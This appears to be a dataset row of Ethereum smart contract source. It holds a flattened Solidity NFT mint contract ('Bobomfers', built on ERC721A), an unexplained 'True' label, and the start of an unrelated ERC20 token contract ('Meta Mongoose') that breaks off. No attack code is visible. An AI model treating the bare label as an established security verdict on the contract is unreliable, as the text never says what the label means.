address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\utils\Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin\contracts\utils\Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin\contracts\utils\introspection\ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: erc721a\contracts\ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts\Bobomfers.sol
// SPDX-License-Identifier: MIT
/*
_____ _ ___
| __ |___| |_ ___ _____| _|___ ___ ___
| __ -| . | . | . | | _| -_| _|_ -|
|_____|___|___|___|_|_|_|_| |___|_| |___|
*****************.
************************
***************************,
*************. .**************
*** *********** **%&%% ***********
* ********. . %&%%%%&
%.**%%%%%%%%##%%%%%%%#((((#%%%%%%&%%%%%%%%%&%.
(&&&&%&%&%%%%%(. ..,,**####### .%&&%%%%%%%&%%
&%%%&%%%%%&% #####,[email protected] $HP# ##,#%&&&%%%%%&%/
&%&%%%%%%&&%% ## *###(,%&%%&&&%
%%%&%%%%&%%%% *#######/ *((, (###/. (%%%%%&%&&
&&&&&%&&%%%%%%%#####( %%%%%%%%%%%%%%&&
&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%#%%&&%%
%%%%%&%%%%%%%%%%%%%%%%%%%%%%%%
&%%%%%%%%%%#((%%%%%%%%%%%%&
#%&%%%%((((#*,**((((%%%&%
,.. %%%%%%((********(((%%%&% //
,,.,. %&%&%%%%%%%%%%%%%&%&( /&&&&/
.,*,,. %%%%%%%%%&%&& %%&&&&
.,*,,, &%&& &B&%&&
**,*,,. &%%& %A%%&
,,,,,*. ,*,****,****. &&&&&&@&%/////////%N%%&
**,,,**. **,. ***, ***,///////,**, #@ & &&&&&&&&&&&&#A%%&
*..*,,,* **,, **,* &N%#%
..,,,,* / *,*, **,* ,**//*,/*,,,***, %&&&&&&&&&&&&&&&&&&%A&&&
..,,,,*. *,,/////// .,**, &&&%%%%%%%%%&&&&&&&/ ///
.,,,,,,., ,*******.***, (
*,,,,,,,. *************.**** &
*/
pragma solidity ^0.8.4;
contract Bobomfers is ERC721A {
using Strings for uint256;
uint256 public cost = 0.0069 ether;
uint256 public freeMints = 1000;
bool public salePaused = true;
uint256 public constant maxMints = 20;
uint256 public constant maxSupply = 8888;
address public constant ownerWallet = 0xcd21866158d7f2F1303C905476d0cEa09b849e11;
address public constant devWallet = 0xFf7235657b8D083e18A1B59Ca49D1D4785466ce2;
address public owner;
string public contractMetadata;
string public baseTokenURI;
string erm = "Unauthorized";
constructor(string memory _contractMetadata, string memory _baseTokenURI) ERC721A("Bobomfers", "BBMF") {
owner = msg.sender;
contractMetadata = _contractMetadata;
baseTokenURI = _baseTokenURI;
}
function _mint(address to, uint256 amount) internal {
_safeMint(to, amount);
}
function mint(uint256 quantity) external payable {
uint256 supply = totalSupply();
uint256 mintCost = (supply <= freeMints) ? 0 : cost;
if (msg.sender == owner) {
mintCost = 0;
} else {
require(!salePaused, "Sale paused");
require(quantity <= maxMints, "Exceeded max mints per trx");
}
require(quantity > 0, "Mint atleast 1");
require(supply + quantity <= maxSupply, "Sold out!");
require(msg.value >= mintCost * quantity, "Insufficient funds");
_mint(msg.sender, quantity);
}
function airdrop(address to, uint256 quantity) external {
require(msg.sender == owner, erm);
uint256 supply = totalSupply();
require(supply + quantity <= maxSupply, "Sold out!");
_mint(to, quantity);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function contractURI() public view returns (string memory) {
return contractMetadata;
}
function getCost() public view returns (uint256) {
uint256 currentCost = (totalSupply() <= freeMints) ? 0 : cost;
return currentCost;
}
function setCost(uint256 _newCost) external {
require(msg.sender == owner, erm);
cost = _newCost;
}
function setFreeMints(uint256 _newfreeMints) external {
require(msg.sender == owner, erm);
freeMints = _newfreeMints;
}
function setBaseTokenUri(string memory _base) external {
require(msg.sender == owner, erm);
baseTokenURI = _base;
}
function setcontractMeta(string memory _newMeta) external {
require(msg.sender == owner, erm);
contractMetadata = _newMeta;
}
function pauseSale(bool _state) external {
require(msg.sender == owner, erm);
salePaused = _state;
}
function withdraw() external {
require(msg.sender == owner, erm);
payable(devWallet).transfer(address(this).balance * 15 / 100);
payable(ownerWallet).transfer(address(this).balance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-11
*/
/*
Meta Mongoose
The Creator of mongoose has returned
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
